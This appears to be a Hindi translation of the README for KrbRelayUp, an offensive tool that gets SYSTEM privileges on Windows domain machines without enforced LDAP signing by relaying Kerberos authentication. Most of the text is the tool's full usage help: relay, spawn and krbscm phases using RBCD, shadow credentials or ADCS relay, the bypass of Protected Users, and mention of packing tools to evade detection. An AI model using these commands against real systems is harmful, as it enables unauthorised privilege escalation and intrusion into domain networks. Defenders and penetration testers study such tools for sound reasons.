
# KrbRelayUp - विंडोज़ डोमेन वातावरण में एक सार्वभौमिक नो-फिक्स स्थानीय विशेषाधिकार वृद्धि, जहाँ LDAP साइनिंग लागू नहीं की गई है (डिफ़ॉल्ट सेटिंग्स)।
निम्नलिखित हमले के प्रिमिटिव के दुरुपयोग को सुव्यवस्थित करने के लिए Rubeus और KrbRelay की कुछ विशेषताओं (और आभार अनुभाग में कुछ अन्य सम्माननीय उल्लेखों) पर आधारित एक सरल रैपर:
यह अनिवार्य रूप से Windows डोमेन वातावरण में एक सार्वभौमिक no-fix स्थानीय विशेषाधिकार वृद्धि है जहाँ LDAP साइनिंग लागू नहीं की जाती (डिफ़ॉल्ट सेटिंग्स)।
अपडेट: यहाँ @an0n_r0 द्वारा एक उत्कृष्ट विवरण है कि इस हमले को मैन्युअल रूप से कैसे किया जाए (इस हमले के पथ के लिए मूल टूल्स का उपयोग करके: PowerMad/SharpMad, KrbRelay, Rubeus और SCMUACBypass)
मैंने shadow credentials का उपयोग करके इस हमले के प्रिमिटिव का समर्थन करने के लिए कुछ विशेषताएँ जोड़ी हैं। ध्यान दें कि यह एक और मशीन खाता जोड़ने (या उसका स्वामित्व रखने) की आवश्यकता को समाप्त कर देता है।
नोट: यह हमला विधि S4U2Self दुरुपयोग के कारण Protected Users (या 'Account is sensitive and cannot be delegated') शमन को बायपास कर देती है।
अपडेट: यहाँ @icyguider द्वारा एक उत्कृष्ट विवरण है कि इस हमले की ShadowCred विधि को मैन्युअल रूप से कैसे किया जाए (इस हमले के पथ के लिए मूल टूल्स का उपयोग करके: KrbRelay, Rubeus और SCMUACBypass) साथ ही विभिन्न टूल्स को पैक करने और रक्षात्मक तंत्र द्वारा कुछ पहचान से बचने के लिए NimCrypt2 के उपयोग के साथ।
मैंने Machine KRB प्रमाणीकरण को ADCS Web Enrollment (LDAP के बजाय) पर रिले करने के लिए समर्थन जोड़ा है। यह डोमेन में LDAP Signing को लागू न करने की आवश्यकता को समाप्त कर देता है क्योंकि यह हमला LDAP पर रिले नहीं करता है।
नोट: यह हमला विधि S4U2Self दुरुपयोग के कारण Protected Users (या 'Account is sensitive and cannot be delegated') शमन को बायपास कर देती है।
KrbRelayUp - Relaying you to SYSTEM
FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.
RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
-p (--Port) Port for Com Server (default=12345)
-cls (--Clsid) CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# RBCD Method:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
# SHADOWCRED Method:
-f (--ForceShadowCred) Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)
# ADCS Method:
-ca (--CAEndpoint) CA endpoint FQDN (default = same as DC)
-https Connect to CA endpoint over secure HTTPS instead of HTTP)
-cet (--CertificateTemplate) Certificate template to request for (default=Machine)
SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
-i (--Impersonate) User to impersonate. should be a local administrator in the target computer. (default=Administrator)
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
# RBCD Method:
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (either -cp or -ch must be specified)
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)
# SHADOWCRED | ADCS Method:
-ce (--Certificate) Base64 encoded certificate or path to certificate file
-cep (--CertificatePassword) Certificate password (if applicable)
KRBSCM: Will use the currently loaded Kerberos Service Ticket to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
General Options:
-d (--Domain) FQDN of domain. (Optional)
-dc (--DomainController) FQDN of domain controller. (Optional)
-ssl Use LDAP over SSL. (Optional)
-n Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (enabled if using FULL mode)
-v (--Verbose) Show verbose output. (Optional)
